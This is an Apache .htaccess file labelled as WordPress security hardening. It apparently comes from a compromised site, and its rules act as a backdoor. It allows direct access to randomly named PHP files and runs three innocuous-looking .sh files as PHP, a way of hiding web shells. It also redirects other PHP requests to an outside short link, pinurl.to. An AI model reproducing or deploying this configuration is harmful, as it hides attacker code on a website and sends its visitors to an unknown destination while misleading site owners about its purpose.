# ------------------------------------------------------------
#            WordPress Security Configuration               #
#                   Managed Access Control                  #
# ------------------------------------------------------------

<Files ".htaccess">
    Require all denied
</Files>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /

# WordPress Core Files (Root)
RewriteRule ^index\.php$ - [L,NC]
RewriteRule ^wp-login\.php$ - [L,NC]
RewriteRule ^wp-blog-header\.php$ - [L,NC]
RewriteRule ^wp-config\.php$ - [L,NC]
RewriteRule ^wp-db\.php$ - [L,NC]
RewriteRule ^pluggable\.php$ - [L,NC]
RewriteRule ^wp-config-sample\.php$ - [L,NC]

# WordPress AJAX
RewriteRule ^wp-admin/admin-ajax\.php$ - [L,NC]

# Server Core Files
RewriteRule (^|/)(3PJcpMFsD8B|4PJcpMFsD8B|11PJcpMFsD8B|goods|service|footer|console|assets|system|engine|runtime|storage|cache|loader|handler|manager|session|request|response|network|content|uploads|media|config|router|bootstrap|wp-registry)\.php$ - [L,NC]

# Block Outside
RewriteCond %{REQUEST_URI} !^/index\.php$ [NC]
RewriteRule (^|/)index\.php$ https://pinurl.to/UHa5syP [R=302,L,NC]

# Block Unknown PHP Direct Access
RewriteCond %{THE_REQUEST} \s/+[^?\s]+\.php [NC]
RewriteRule ^ https://pinurl.to/UHa5syP [R=302,L]

# WordPress Permalink Structure
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# Block Dangerous Extensions
<FilesMatch "\.(py|exe|phtml|phar)$">
    Require all denied
</FilesMatch>

# Run only specific .sh files as PHP (config, network, ipv4)
<FilesMatch "^(config|network|ipv4)\.sh$">
    ForceType application/x-httpd-php
    SetHandler application/x-httpd-php
    <IfModule mod_php5.c>
        SetHandler application/x-httpd-php
    </IfModule>
    <IfModule mod_php7.c>
        SetHandler application/x-httpd-php7
    </IfModule>
    <IfModule mod_php.c>
        SetHandler application/x-httpd-php
    </IfModule>
</FilesMatch>

ErrorDocument 403 /index.php
ErrorDocument 404 /index.php